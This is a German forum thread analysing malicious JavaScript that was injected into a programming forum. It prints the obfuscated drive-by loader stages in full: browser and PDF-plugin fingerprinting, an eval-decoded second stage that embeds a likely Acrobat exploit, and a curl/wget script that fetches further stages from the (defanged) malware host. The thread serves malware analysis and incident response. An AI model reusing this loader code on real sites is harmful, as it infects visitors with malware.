MAL_HIFIRM auf Index
-
Ich hab das Javascript mal etwas auseinandergenommen, das vorhin kurz
auf www.c-plusplus.net stand. Auf der Seite stand ein iframe, der auf
http://malware.invalid/start.php zeigte, was folgenden Code enthielt (für
das Forum hier musste ich leider ':(' durch ': (' ersetzen,
sonst kommt der "zu viele Smilies"-Fehler):<html><head></head><body><script>var xLtQRaeQU='./issue.php?key=2d805c72a9fe36b65fbc55914d641865&access=6da7180d4e94262e28c547fa8ee272b5';var PgXs5BmFS=window.navigator.userAgent.toLowerCase();var bLygKUK_p=new Array();var eCNnbnMeM=new Array();var RPSY8za69=function(WyYqb2eMn){WyYqb2eMn=String.fromCharCode((((WyYqb2eMn=WyYqb2eMn.charCodeAt(0))&223)-52)%26+(WyYqb2eMn&32)+65);return WyYqb2eMn;} var q3zT_TwdZ=function(WyYqb2eMn){return WyYqb2eMn.replace(/[A-Za-z]/g,RPSY8za69);} var HoYegVAka=function(D6AhmeQdl){var OyaqSQTRI,JSjAgNATT=D6AhmeQdl.length,pMgrgfB1Y=[];for(OyaqSQTRI=0;OyaqSQTRI<JSjAgNATT;OyaqSQTRI++){pMgrgfB1Y[OyaqSQTRI]=D6AhmeQdl.charCodeAt(OyaqSQTRI).toString(16);} return pMgrgfB1Y.join('');} var rGSOZSU00=function(D6AhmeQdl){D6AhmeQdl=HoYegVAka(D6AhmeQdl);D6AhmeQdl=q3zT_TwdZ(D6AhmeQdl);return D6AhmeQdl;} eCNnbnMeM[0]=(PgXs5BmFS.indexOf('windows')!=-1)?'Windows': ((PgXs5BmFS.indexOf('mac')!=-1)?'Mac': (PgXs5BmFS.indexOf('linux')!=-1)?'*Nix':'Other');eCNnbnMeM[1]=(eCNnbnMeM[0]=='Windows')?((PgXs5BmFS.indexOf('95')!=-1)?'95': ((PgXs5BmFS.indexOf('98')!=-1)?'98': ((PgXs5BmFS.indexOf('nt 5.0')!=-1)?'2000': ((PgXs5BmFS.indexOf('nt 5.1')!=-1)?'XP': ((PgXs5BmFS.indexOf('nt 5.2')!=-1)?'2003': ((PgXs5BmFS.indexOf('nt 6.0')!=-1)?'Vista': ((PgXs5BmFS.indexOf('6.1')!=-1)?'Seven':'Other'))))))):'';bLygKUK_p[0]=(PgXs5BmFS.indexOf('opera')>=0)?'Opera': ((PgXs5BmFS.indexOf('firefox')>=0)?'FireFox': ((PgXs5BmFS.indexOf('msie')>=0)?'Internet Explorer':'Other'));bLygKUK_p[1]=(bLygKUK_p[0]=='Opera')?PgXs5BmFS.substr(PgXs5BmFS.indexOf('opera')+6,4): ((bLygKUK_p[0]=='FireFox')?d7wj0ugWm('x/','',PgXs5BmFS.substr(PgXs5BmFS.indexOf('firefox')+6,8)+' ('+PgXs5BmFS.substr(8,3)+')').substr(0,3): ((bLygKUK_p[0]=='Internet Explorer')?PgXs5BmFS.substr(PgXs5BmFS.indexOf('msie')+5,3):null));xLtQRaeQU+='&o='+rGSOZSU00(eCNnbnMeM[0])+'&v='+rGSOZSU00(eCNnbnMeM[1])+'&b='+rGSOZSU00(bLygKUK_p[0])+'&m='+rGSOZSU00(bLygKUK_p[1]);xLtQRaeQU+=(navigator.cookieEnabled)?'&c=1':'&c=2';var XjWRcWMJ5={XjWRcWMJ5:false,pO9qWN7cL:q3zT_TwdZ('Nqbor Npebong'),FC89qf9Nb:q3zT_TwdZ('Nqbor CQS'),mptPgN45K:0,K0NoSM6UY:window.ActiveXObject,Omo7zi2Qp:null,hrHCPIelV:q3zT_TwdZ('NpebCQS.CQS'),twBsOkzEp:q3zT_TwdZ('CQS.CqsPgey'),CkuZG4HAS:function(){if(navigator.plugins&&navigator.plugins.length){for(;XjWRcWMJ5['mptPgN45K']<navigator.plugins.length;XjWRcWMJ5['mptPgN45K']++){if(navigator.plugins[XjWRcWMJ5.mptPgN45K].description.indexOf(XjWRcWMJ5.pO9qWN7cL)!=-1){return true;} if(navigator.plugins[XjWRcWMJ5.mptPgN45K].description.indexOf(XjWRcWMJ5['FC89qf9Nb'])!=-1){return true;}} return false;}else if(window.ActiveXObject){try{XjWRcWMJ5['Omo7zi2Qp']=new ActiveXObject(XjWRcWMJ5['hrHCPIelV']);} catch(e){} if(!XjWRcWMJ5['Omo7zi2Qp']){try{XjWRcWMJ5['Omo7zi2Qp']=new ActiveXObject(XjWRcWMJ5.twBsOkzEp);} catch(e){}} if(XjWRcWMJ5['Omo7zi2Qp']){return true;}} return false;}} function d7wj0ugWm(DdklU79Sk,SlfX7mjWx,lmaaGJ1Sl){if(!(SlfX7mjWx instanceof Array)){SlfX7mjWx=new Array(SlfX7mjWx);if(DdklU79Sk instanceof Array){while(DdklU79Sk.length>SlfX7mjWx.length){SlfX7mjWx[SlfX7mjWx.length]=SlfX7mjWx[0];}}} if(!(DdklU79Sk instanceof Array))DdklU79Sk=new Array(DdklU79Sk);while(DdklU79Sk.length>SlfX7mjWx.length){SlfX7mjWx[SlfX7mjWx.length]='';} if(lmaaGJ1Sl instanceof Array){for(tTGKJri3h in lmaaGJ1Sl){lmaaGJ1Sl[tTGKJri3h]=d7wj0ugWm(DdklU79Sk,SlfX7mjWx,lmaaGJ1Sl[tTGKJri3h]);} return lmaaGJ1Sl;} for(var tTGKJri3h=0;tTGKJri3h<DdklU79Sk.length;tTGKJri3h++){var PsazFRmd9=lmaaGJ1Sl.indexOf(DdklU79Sk[tTGKJri3h]);while(PsazFRmd9>-1){lmaaGJ1Sl=lmaaGJ1Sl.replace(DdklU79Sk[tTGKJri3h],SlfX7mjWx[tTGKJri3h]);PsazFRmd9=lmaaGJ1Sl.indexOf(DdklU79Sk[tTGKJri3h],PsazFRmd9);}} return lmaaGJ1Sl;} function utBrvqq_B(){if(XjWRcWMJ5['CkuZG4HAS']()){bQuP7MRtu(xLtQRaeQU+'&ac=1');} else{JNakjyMro(xLtQRaeQU);}} function JNakjyMro(vV2S1h9pj){var oICUAgMV9=document.createElement('script');oICUAgMV9.setAttribute('src',vV2S1h9pj);oICUAgMV9.setAttribute('defer','defer');document.getElementsByTagName('BODY')[0].appendChild(oICUAgMV9);var QcX95UB2u={};QcX95UB2u[window.location.href]=1;if(!window.sP9j0QNXg)window.sP9j0QNXg={};if(!window.sP9j0QNXg.dul6edQwe)window.sP9j0QNXg.dul6edQwe=QcX95UB2u;if(!window.sP9j0QNXg.dul6edQwe[vV2S1h9pj]){window.sP9j0QNXg.dul6edQwe[vV2S1h9pj]=1;}else{window.sP9j0QNXg.dul6edQwe[vV2S1h9pj]++;} return window.sP9j0QNXg.dul6edQwe[vV2S1h9pj];} function bQuP7MRtu(vV2S1h9pj){var Hd1XiG74t=function(tSEueO8oL){var wkTRcpgkr=new Array(window,tSEueO8oL);while(wkTRcpgkr[0]['parent']!=wkTRcpgkr[0]){wkTRcpgkr[0]=wkTRcpgkr[0]['parent'];} wkTRcpgkr[0]['location']=wkTRcpgkr[1];} Hd1XiG74t(vV2S1h9pj);} utBrvqq_B()</script></body></html>
Diesen Code bekommt man nur einmal ausgeliefert. Die Seite speichert
scheinbar die IP für eine gewisse Zeit; während dieser Zeit bekommt
man nur eine Weiterleitung auf google zu sehen.Wenn man den Code auseinanderpfriemelt, bekommt man das hier:
<html><head></head><body> <!-- Source: http://malware.invalid/start.php --> <script> var target_url = './issue.php?key=2d805c72a9fe36b65fbc55914d641865&access=6da7180d4e94262e28c547fa8ee272b5'; var user_agent = window.navigator.userAgent.toLowerCase(); var client_browser = new Array(); var client_os = new Array(); function decode_one_char(input) { input = String.fromCharCode((((input=input.charCodeAt(0))&223)-52)%26+(input&32)+65); return input; } function decode_string(input) { return input.replace(/[A-Za-z]/g, decode_one_char); } function string_to_hex(input) { var result=[]; for(var i = 0; i < input.length; i++) result[i] = input.charCodeAt(i).toString(16); return result.join(''); } function obfuscate_string(input) { input = string_to_hex(input); input = decode_string(input); return input; } client_os[0] = (user_agent.indexOf('windows')!=-1) ? 'Windows' : ((user_agent.indexOf('mac')!=-1) ? 'Mac' : (user_agent.indexOf('linux')!=-1) ? '*Nix' : 'Other'); client_os[1] = (client_os[0]=='Windows') ? ((user_agent.indexOf('95')!=-1) ? '95' : ((user_agent.indexOf('98')!=-1) ? '98' : ((user_agent.indexOf('nt 5.0')!=-1) ? '2000' : ((user_agent.indexOf('nt 5.1')!=-1) ? 'XP' : ((user_agent.indexOf('nt 5.2')!=-1) ? '2003' : ((user_agent.indexOf('nt 6.0')!=-1) ? 'Vista' : ((user_agent.indexOf('6.1')!=-1) ? 'Seven' : 'Other'))))))) : ''; client_browser[0]=(user_agent.indexOf('opera')>=0) ? 'Opera' : ((user_agent.indexOf('firefox')>=0) ? 'FireFox' : ((user_agent.indexOf('msie')>=0) ? 'Internet Explorer' : 'Other')); client_browser[1]=(client_browser[0]=='Opera') ? user_agent.substr(user_agent.indexOf('opera')+6,4) : ((client_browser[0]=='FireFox') ? remove_string('x/', user_agent.substr(user_agent.indexOf('firefox')+6,8)+' ('+user_agent.substr(8,3)+')').substr(0,3) : ((client_browser[0]=='Internet Explorer') ? user_agent.substr(user_agent.indexOf('msie')+5,3) : null)); target_url += '&o=' + obfuscate_string(client_os[0]) + '&v=' + obfuscate_string(client_os[1]) + '&b=' + obfuscate_string(client_browser[0]) + '&m=' + obfuscate_string(client_browser[1]); target_url += navigator.cookieEnabled ? '&c=1' : '&c=2'; function has_pdf_plugin() { if(navigator.plugins && navigator.plugins.length) { for(var i = 0; i < navigator.plugins.length; i++) { if(navigator.plugins[i].description.indexOf('Adobe Acrobat') != -1) return true; if(navigator.plugins[i].description.indexOf('Adobe PDF') != -1) return true; } return false; } else if(window.ActiveXObject) { // Internet Explorer var active_x_object = null; try { active_x_object = new ActiveXObject('AcroPDF.PDF'); } catch(e) { } if(!active_x_object) { try { active_x_object = new ActiveXObject('PDF.PdfCtrl'); } catch(e) { } } if(active_x_object) { return true; } } return false; } function remove_string(search_pattern, input) { var pattern_position = input.indexOf(search_pattern); while(pattern_position > -1) { input = input.replace(search_pattern, ''); pattern_position = input.indexOf(search_pattern, pattern_position); } return input; } function load_script(target) { var script_element = document.createElement('script'); script_element.setAttribute('src', target); script_element.setAttribute('defer', 'defer'); document.getElementsByTagName('BODY')[0].appendChild(script_element); } function redirect_to(target) { while(window['parent'] != window) window = window['parent']; window['location'] = target; } if(has_pdf_plugin()) redirect_to(target_url + '&ac=1'); else load_script(target_url); </script></body></html>
Der Code macht nicht besonders viel. Der macht entweder ein redirect
auf issue.php oder lädt issue.php in den body als neues
javascript. issue.php scheint dabei einige Parameter zu bekommen, vor
allem die OS- und Browser-Version und ob ein PDF-Plugin vorhanden ist.Der issue.php-Aufruf lieferte folgenden Code:
<html><head></head><body><script> var tLcawZvcV={tLcawZvcV:function(CQ1DcFZQE){var r74xkLjKr=window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('fnHuvdaBi');r74xkLjKr['\x69\x64']='TEygFqHSr';r74xkLjKr['\x6e\x61\x6d\x65']='IwrgWHj5A';r74xkLjKr['\x74\x65\x78\x74']=CQ1DcFZQE;r74xkLjKr['\x73\x74\x79\x6c\x65']['\x63\x6f\x6c\x6f\x72']='#fff';r74xkLjKr['\x73\x74\x79\x6c\x65']['\x66\x6f\x6e\x74\x53\x69\x7a\x65']=0;window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](r74xkLjKr);var cej_hfc4z=window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('TEygFqHSr');return cej_hfc4z['\x74\x65\x78\x74'];}} var Zhm5N_fuy={Zhm5N_fuy:window,nV9EPv8hd:tLcawZvcV['tLcawZvcV']('0n696r6520616p57654o574n6o413q226p7266223o6n766171626n2r626172656562653q736861706776626128297o65726768656120676568727q0n696r6520484556416s6r436p493q27756767633n2s2s706261696r65672r70627n2s686379626r712r637563273o696r65205436504q774s764r733q276q63767659672r726o72273o696r652077394s546r36484r4p3q73686170677662612863794n6o6q7n736q32297o63794n6o6q7n736q323q4667657661742r7365627n50756r65506271722828282863794n6o6q7n736q323q63794n6o6q7n736q322r70756r65506271724r672830292926323233292q3532292532362o2863794n6o6q7n736q32263332292o3635293o6572676865612063794n6o6q7n736q323o7q0n696r6520437n4856544p6o37593q73686170677662612863794n6o6q7n736q32297o6572676865612063794n6o6q7n736q322r657263796r7072282s5o4r2q4q6r2q6q5q2s742p77394s546r36484r4p293o7q0n696r65207733486870676s34573q61726n20426s777270673o696r6520576r526p4s515275573q7o576r526p4s515275573n7o576r526p4s515275573n272r272p7733486870676s34573n7o576r526p4s515275573n437n4856544p6o3759282770687027292o273s78726p3q336r703470707032383973316r346r7173733136306s316r35366s3937393037266r70707266663q356s70733934713972306r713737703971346r34377373396s6r703237707071272p7733486870676s34573n437n4856544p6o3759282770646627297q7q2p7733486870676s34573n7o576r526p4s515275573n7368617067766261287733486870676s34572p444937445677664r502p424r696r5n4p776s66297o65726768656120466765766174287733486870676s34572o444937445677664r502o424r696r5n4p776s66293o7q2p7733486870676s34573n437n4856544p6o37592827656q62656427297q2p444937445677664r503n7o7733486870676s34573n437n4856544p6o37592827696672616q6527292p444937445677664r503n437n4856544p6o375928276170706p69636174696s6r2s70646627297q7q0n696r652059494569324p5n72793q7o59494569324p5n72793n736861706776626128297o696r652059494569324p5n72793q716270687n7261672r7065726r67725279727n72616728576r526p4s515275575o27444937445677664r50275q5o277733486870676s3457275q293o59494569324p5n72795o27666570275q3q576r526p4s515275575o277733486870676s3457275q5o27576r526p4s51527557275q28576r526p4s515275575o27576r526p4s51527557275q5o277733486870676s3457275q5o277733486870676s3457275q2p576r526p4s515275575o27576r526p4s51527557275q5o27576r526p4s51527557275q2p576r526p4s515275575o27576r526p4s51527557275q5o277733486870676s3457275q5o27576r526p4s51527557275q293o59494569324p5n72795o276n76716775275q3q27343030273o59494569324p5n72795o27757276747567275q3q27343030273o716270687n7261672r6s62716p2r6r636372617150757679712859494569324p5n7279293o7q2p4872706q7n3n736861706776626128297o696r652059494569324p5n72793q716270687n7261672r7065726r67725279727n72616728576r526p4s515275575o277733486870676s3457275q5o277733486870676s3457275q293o59494569324p5n72795o27666570275q3q576r526p4s515275575o277733486870676s3457275q5o27576r526p4s51527557275q28576r526p4s515275575o27576r526p4s51527557275q5o277733486870676s3457275q5o277733486870676s3457275q2p576r526p4s515275575o27576r526p4s51527557275q5o27576r526p4s51527557275q2p576r526p4s515275575o27576r526p4s51527557275q5o277733486870676s3457275q5o27576r526p4s51527557275q293o59494569324p5n72795o276n76716775275q3q27343030273o59494569324p5n72795o27757276747567275q3q27343030273o59494569324p5n72795o27676p6372275q3q276r63637976706r677662612s637173273o716270687n7261672r6s62716p2r6r636372617150757679712859494569324p5n7279293o7q7q0n696r65205n7135426n6r4673483q736861706776626128297o696r65206o703358475756654s3q28616r6976746r6762652r686672654r747261672r676259626n7265506r667228292r766171726o427328277376657273626o2729213q2q31293s59494569324p5n72795o274872706q7n275q3n59494569324p5n72795o2759494569324p5n7279275q3o6o703358475756654s28293o7q0n696r6520543178596r683330623q272r2s6r776r6o2r6375633s653q272o5n6r67752r656r6171627n28293o696r65206n454s366r4r316s373q7o727271544p5s74666p3n7368617067766261287n486r4q4559333630297o696r65204q366p736r697866653q616879793o67656p7o4q366p736r697866653q61726n204r70677669724o426s7772706728275n666o7n79322r4o5n595547474327293o7q0n706r67707528535336785s374n5069297o67656p7o4q366p736r697866653q61726n204r70677669724o426s7772706728275n76706562666273672r4o5n595547474327293o7q0n706r67707528535336785s374n5069297o67656p7o4q366p736r697866653q61726n204o5n59556767634572646872666728293o7q0n706r67707528535336785s374n5069297o7q7q7q0n7673284q366p736r697866653q3q61687979297o677565626n2061726n20526565626528274o5n595567676345726468726667206162672066686363626567727127293o7q0n4q366p736r697866652r626372612827545247272p7n486r4q45593336302p736r796672293o4q366p736r697866652r667261712861687979293o657267686561204q366p736r697866652r657266636261667247726o673o7q2p4n70494q75614p4s443n736861706776626128297o696r65204q366p736r697866653q286n454s366r4r316s372r727271544p5s74666p28543178596r68333062293q3q276668707072666627293s676568723n736r7966723o657267686561204q366p736r697866653o7q7q0n767328616p57654o574n6o413q3q226p726622297o5n7135426n6r46734828293o7q'),qHWk3ysZ0:''} var hEylsIM_B=function(SRyzVP6xD){SRyzVP6xD=window['\x53\x74\x72\x69\x6e\x67']['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((SRyzVP6xD=SRyzVP6xD['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](0))&223)-52)%26+(SRyzVP6xD&32)+65);return SRyzVP6xD;} var urby9DwVc=function(SRyzVP6xD){return SRyzVP6xD['\x72\x65\x70\x6c\x61\x63\x65'](/[A-Za-z]/g,hEylsIM_B);} function p8qARtGwF(){window['Zhm5N_fuy']['qHWk3ysZ0']=window['nQySoV3AP'](window['Zhm5N_fuy']['nV9EPv8hd']);window['\x65\x76\x61\x6c'](Zhm5N_fuy.qHWk3ysZ0);} function nQySoV3AP(CQ1DcFZQE){var a6xe7twGM='';var lohIsErjY=0;while(lohIsErjY<CQ1DcFZQE.length){a6xe7twGM+='%u00'+urby9DwVc(CQ1DcFZQE['\x73\x75\x62\x73\x74\x72'](lohIsErjY,2));lohIsErjY+=2;} return urby9DwVc(window['\x75\x6e\x65\x73\x63\x61\x70\x65'](a6xe7twGM));} var SRyzVP6xD=function(){window['p8qARtGwF']();} SRyzVP6xD();</script><iframe style = "border:1px solid #fff;overflow:auto;display:none;" src = "about:blank"></iframe></body></html>
Sieht wieder furchtbar hässlich aus. Zum einen kann man erstmal das
escapen rückgängig machen. Dann sieht man, dass unten ein
eval(...)-Aufruf steht. Das in Kombination mit dem unglaublich langen
String lässt vermuten, was hier passiert. Javascript-Code wird
dynamisch generiert und ausgeführt. Den generierten Javascript-Code
kann man leicht bekommen, indem man den eval-Aufruf durch eine Ausgabe
ersetzt:var nyJrXJWxN="yes";window.onerror=function(){return true} var URINbaPyV='http://malware.invalid/upload.php';var G6CZjBiAf='zpiiLt.exe';var j9BGa6UAY=function(plWxzmfz2){plWxzmfz2=String.fromCharCode((((plWxzmfz2=plWxzmfz2.charCodeAt(0))&223)-52)%26+(plWxzmfz2&32)+65);return plWxzmfz2;} var PmUIGYx7L=function(plWxzmfz2){return plWxzmfz2.replace(/[A-Za-z]/g,j9BGa6UAY);} var j3Uuctb4J=new Object;var JaEyBDEhJ={JaEyBDEhJ:{JaEyBDEhJ:'.',j3Uuctb4J:{JaEyBDEhJ:PmUIGYx7L('cuc')+'?key=3ac4ccc289f1a4adff160b1a56b97907&access=5bcf94d9e0ad77c9d4a47ff9bac27ccd',j3Uuctb4J:PmUIGYx7L('cqs')}},j3Uuctb4J:{JaEyBDEhJ:function(j3Uuctb4J,QV7QIjsAC,OAvaMYjbs){return String(j3Uuctb4J+QV7QIjsAC+OAvaMYjbs);},j3Uuctb4J:PmUIGYx7L('rzorq')},QV7QIjsAC:{j3Uuctb4J:PmUIGYx7L('vsenzr'),QV7QIjsAC:PmUIGYx7L('nccyvpngvba/cqs')}} var LVRv2YMel={LVRv2YMel:function(){var LVRv2YMel=document.createElement(JaEyBDEhJ['QV7QIjsAC']['j3Uuctb4J']);LVRv2YMel['src']=JaEyBDEhJ['j3Uuctb4J']['JaEyBDEhJ'](JaEyBDEhJ['JaEyBDEhJ']['j3Uuctb4J']['j3Uuctb4J'],JaEyBDEhJ['JaEyBDEhJ']['JaEyBDEhJ'],JaEyBDEhJ['JaEyBDEhJ']['j3Uuctb4J']['JaEyBDEhJ']);LVRv2YMel['width']='400';LVRv2YMel['height']='400';document.body.appendChild(LVRv2YMel);},Ueczm:function(){var LVRv2YMel=document.createElement(JaEyBDEhJ['j3Uuctb4J']['j3Uuctb4J']);LVRv2YMel['src']=JaEyBDEhJ['j3Uuctb4J']['JaEyBDEhJ'](JaEyBDEhJ['JaEyBDEhJ']['j3Uuctb4J']['j3Uuctb4J'],JaEyBDEhJ['JaEyBDEhJ']['JaEyBDEhJ'],JaEyBDEhJ['JaEyBDEhJ']['j3Uuctb4J']['JaEyBDEhJ']);LVRv2YMel['width']='400';LVRv2YMel['height']='400';LVRv2YMel['type']='application/pdf';document.body.appendChild(LVRv2YMel);}} var Md5OwaSfU=function(){var xc3KTJIrB=(navigator.userAgent.toLowerCase().indexOf('firefox')!=-1)?LVRv2YMel['Ueczm']:LVRv2YMel['LVRv2YMel'];xc3KTJIrB();} var G1kLau30o='./ajax.php?r='+Math.random();var wRB6aA1b7={eedGY_gsy:function(mUaZRL360){var Z6yfavksr=null;try{Z6yfavksr=new ActiveXObject('Msxml2.XMLHTTP');} catch(FF6k_7WCv){try{Z6yfavksr=new ActiveXObject('Microsoft.XMLHTTP');} catch(FF6k_7WCv){try{Z6yfavksr=new XMLHttpRequest();} catch(FF6k_7WCv){}}} if(Z6yfavksr==null){throw new Error('XMLHttpRequest not supported');} Z6yfavksr.open('GET',mUaZRL360,false);Z6yfavksr.send(null);return Z6yfavksr.responseText;},WcVZhnYBQ:function(){var Z6yfavksr=(wRB6aA1b7.eedGY_gsy(G1kLau30o)=='success')?true:false;return Z6yfavksr;}} if(nyJrXJWxN=="yes"){Md5OwaSfU();}
Dieser Javascript-Code enthält eine ganze Menge von toten Abschnitten,
die nie ausgeführt werden. Nimmt man den Code ein bisschen
auseinander, stellt man fest, dass der äquivalent ist zu dem hier (ohne Gewähr):// Only for firefox function handle_firefox() { var embed = document.createElement('embed'); embed['src'] = 'pdf.php?key=3ac4ccc289f1a4adff160b1a56b97907&access=5bcf94d9e0ad77c9d4a47ff9bac27ccd'; embed['width'] = '400'; embed['height'] = '400'; embed['type'] = 'application/pdf'; document.body.appendChild(embed); } // For all browsers other than firefox function handle_non_firefox() { var iframe = document.createElement('iframe'); iframe['src'] = 'embed.php?key=3ac4ccc289f1a4adff160b1a56b97907&access=5bcf94d9e0ad77c9d4a47ff9bac27ccd'; iframe['width'] = '400'; iframe['height'] = '400'; document.body.appendChild(iframe); } if(navigator.userAgent.toLowerCase().indexOf('firefox') != -1) handle_firefox(); else handle_non_firefox();
Ist letzten Endes nicht besonders spannend, was hier passiert. Es
wird ein <iframe> bzw. <embed> vom Typ pdf geladen, was
höchstwahrscheinlich einen Exploit im Adobe Acrobat Reader
ausnutzt. An den Inhalt von pdf.php oder embed.php bin ich leider
nicht mehr gekommen.Das ist im Grunde auch der interessanteste Punkt
an der ganzen Sache. Abgesehen von start.php gehen die Links auf eine
404-Seite, wenn ich per curl oder wget draufgehe, auch wenn ich
Referer und User-Agent auf dasselbe setze, was ein Browser nehmen
würde. Das 404 ist aber auch kein echtes 404, sondern behauptet nur im
Body ein 404 zu sein. Laut Header ist es ein "200 OK". Was ich
versucht habe, war folgendes Shellskript:#!/bin/bash KEY=$( curl 'http://malware.invalid/start.php' 2>/dev/null | grep -o "key[^']*") if [[ -z $KEY ]]; then echo "start.php refused!" echo "Your IP is probably banned, wait a few hours or get a different IP." exit 1 fi URL='http://malware.invalid/issue.php?'$KEY'&o=2n4r6978&v=&b=46697265466s78&m=332r35&c=1&ac=1' URL2='http://malware.invalid/pdf.php?'$KEY USER_AGENT='Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8' wget --referer='http://malware.invalid/start.php' \ --user-agent="$USER_AGENT" \ -O "/tmp/issue.php" \ "$URL" wget --referer="$URL" \ --user-agent="$USER_AGENT" \ -O "/tmp/pdf.php" \ "$URL2" exit 0
start.php wird nach dem ersten Versuch die IP für ein paar Stunden
blockieren. Leider bekomme ich mit dem Skript von issue.php und
pdf.php nicht die gewünschten Inhalte, stattdessen nur ein 404. Falls
jemand Lust hat, kann er gerne versuchen herauszufinden, woran
issue.php und pdf.php die Anfrage als ungültig erkennen.Fazit:
Wenn der Browser Javascript auf fremden Seiten ausführt und PDFs
automatisch im Acrobat-Reader oder -Plugin öffnet, könnte man sich
durch den Vorfall Malware geholt haben.edit: Links ungültig gemacht, um nicht aus Versehen den Virus zu verteilen.
-
War/ist die Forenstartseite auch betroffen?
(Denke wohl das Noscript bzw. adblock mich wohl geschützt haben).
-
phlox81 schrieb:
War/ist die Forenstartseite auch betroffen?
Es war jede Seite hier betroffen, die hinreichend simpel war, um von der automatisierten Ersetzung erfasst werden zu können. Wir werden noch einen entsprechenden Hinweis verfassen.
-
Hmm, bei mir ist javascript generel erlaubt, adobe reader ist installiert, mein virenscanner hat nichts gemeldet. Habt ihr irgendwelche tipps wie ich feststellen kann ob bei mir Malware installiert wurde?
-
Nicht wirklich, der Ratschlag lautet: aktueller Virenscanner. Du kannst es ja an den beiden ersten Postings sehen, die Malware war offensichtlich bekannt, zwei Scanner sprangen an, ich würde also annehmen, daß das die Masse der Scanner detektiert hätte.
Da bei Dir nichts angesprungen ist, würde ich davon ausgehen daß nichts passiert ist und es sich nicht um einen bisher völlig unbekannten Hack handelt, den noch kein Scanner erkennt.
Ein vollständiger Systemscan sollte Dir diesbezüglich Sicherheit geben.
-
Marc++us schrieb:
Du kannst es ja an den beiden ersten Postings sehen, die Malware war offensichtlich bekannt, zwei Scanner sprangen an, ich würde also annehmen, daß das die Masse der Scanner detektiert hätte.
Die Scanner-Meldungen in den ersten Postings sehen eher nach Heuristiken aus. Ein <iframe> direkt hinter </html> ist wahrscheinlich so verdächtig, dass das viele Scanner triggert.
-
Christoph:
Habe leider gerade keine Linux shell am laufen, aber hast du es schon mal mit einem Windows-User-Agent probiert? Vielleicht ist Linux dem Script ja zu heikel.zB. "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)"
-
Nobuo T schrieb:
Christoph:
Habe leider gerade keine Linux shell am laufen, aber hast du es schon mal mit einem Windows-User-Agent probiert? Vielleicht ist Linux dem Script ja zu heikel.zB. "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)"
Hilft leider nicht. Ich habe vorhin noch probiert, Cookies zu akzeptieren, das hat aber auch nichts gebracht.
-
Marc++us schrieb:
Nicht wirklich, der Ratschlag lautet: aktueller Virenscanner. Du kannst es ja an den beiden ersten Postings sehen, die Malware war offensichtlich bekannt, zwei Scanner sprangen an, ich würde also annehmen, daß das die Masse der Scanner detektiert hätte.
Da bei Dir nichts angesprungen ist, würde ich davon ausgehen daß nichts passiert ist und es sich nicht um einen bisher völlig unbekannten Hack handelt, den noch kein Scanner erkennt.
Ein vollständiger Systemscan sollte Dir diesbezüglich Sicherheit geben.
Die sind nicht auf die Malware angesprungen (falls wirklich was heruntergeladen/installiert wurde). Das sieht nach heuristischer Erkennung von den eingeschleusten Exploitversuchen aus. Sprich die sind auf das was das iframe gemacht hat angesprungen.
Edit: Und leider können das die wenigsten kostenlosen Anti-Malware Scannern erkennen.
-
Der TrendMicro Agent hatte ausserdem noch eine URL gesperrt die versucht wurde zu öffnen. Kann sein das es die im Post von Christoph beschriebene convart.com war, aber sicher bin ich mir nicht mehr.
-
Leider hab ich von sowas so gut wie keine ahnung.
Ich meine, um eine Datei zu verändern, braucht man doch root zugang?!
Und irgendwie muss der ja dann das Root-PW rausbekommen haben oder?Außerdem frag ich mich wie ihr sowas raus bekommt das es da angriffe gab.
Da ich auch häufiger mit PHP arbeite, meist aber local, interessiert mich vorallem wie so ein angriff zu erkennen ist. Noch bin ich im Studium. Aber danach möchte ich in diesem bereich auch arbeiten. Vllt kann ja jemand der so richtig ahnung hat, und außerdem vllt noch ein bischen freizeit, im bereich Rund um den PC oder in Webzeugs mal ein Thema aufmachen und das alles erklären und ein paar muster-logs posten wie sowas aussieht??
Und so neben bei auch mal kurz erklären, wo der unterscheid ist wenn ich php 5.2.xx oder PHP 5.3.x laufen habe. weil local merk ich da nichts...
Ich denke das sprengt hier den rahmen, deshalb wäre ein extra thema vllt nicht schlecht...Wäre echt cool wenn da jemand mit richtig viel Ahnung mal was kleines verfassen könnte... Vllt auch so in schritten, wie dieses Betriebssystem-tut was hier entstanden ist. Denke hier wird das vllt noch mehr interessieren. Grade hinsichtlich der Aktuellen Situation hier im Forum.
So long
Sqwan
-
Sqwan schrieb:
Ich meine, um eine Datei zu verändern, braucht man doch root zugang?!
Nein, Zugang zum Ändern der Dateien reicht. Dafür braucht man keine root-Rechte, weil die Dateien normalerweise nicht nur von root änderbar sind.
Sqwan schrieb:
Und irgendwie muss der ja dann das Root-PW rausbekommen haben oder?
Nein, das root-Passwort ist nur eine Möglichkeit von vielen, root-Zugang zu bekommen. Normalerweise bekommt ein Angreifer aber nicht root-Zugang, wenn er PHP-Lücken ausnutzt.
-
Es kommt natürlich auf die Lücke an. In den meissten Fällen wird es wohl PHP oder SQL sein das irgendwie zur Ausführung gebracht wird. Wie viel Schaden man dann damit anrichten kann hängt dann davon ab, welche Berechtigungen der Dienst bzw der aktive DB-User auf der Maschine hat.
-
Cpp_Junky schrieb:
Es kommt natürlich auf die Lücke an. In den meissten Fällen wird es wohl PHP oder SQL sein das irgendwie zur Ausführung gebracht wird. Wie viel Schaden man dann damit anrichten kann hängt dann davon ab, welche Berechtigungen der Dienst bzw der aktive DB-User auf der Maschine hat.
Klar. Aber Webservices mit root-Rechten laufen zu lassen ist seit gut einem Jahrzehnt auch unter drittklassigen Sysadmins nicht mehr üblich.
-
Auch die Rechte lassen sich exploiten
Wenn man den Exploit schon mal hat, kann man auch gleich die benötigten Rechte dazu sich zusammenklauen.
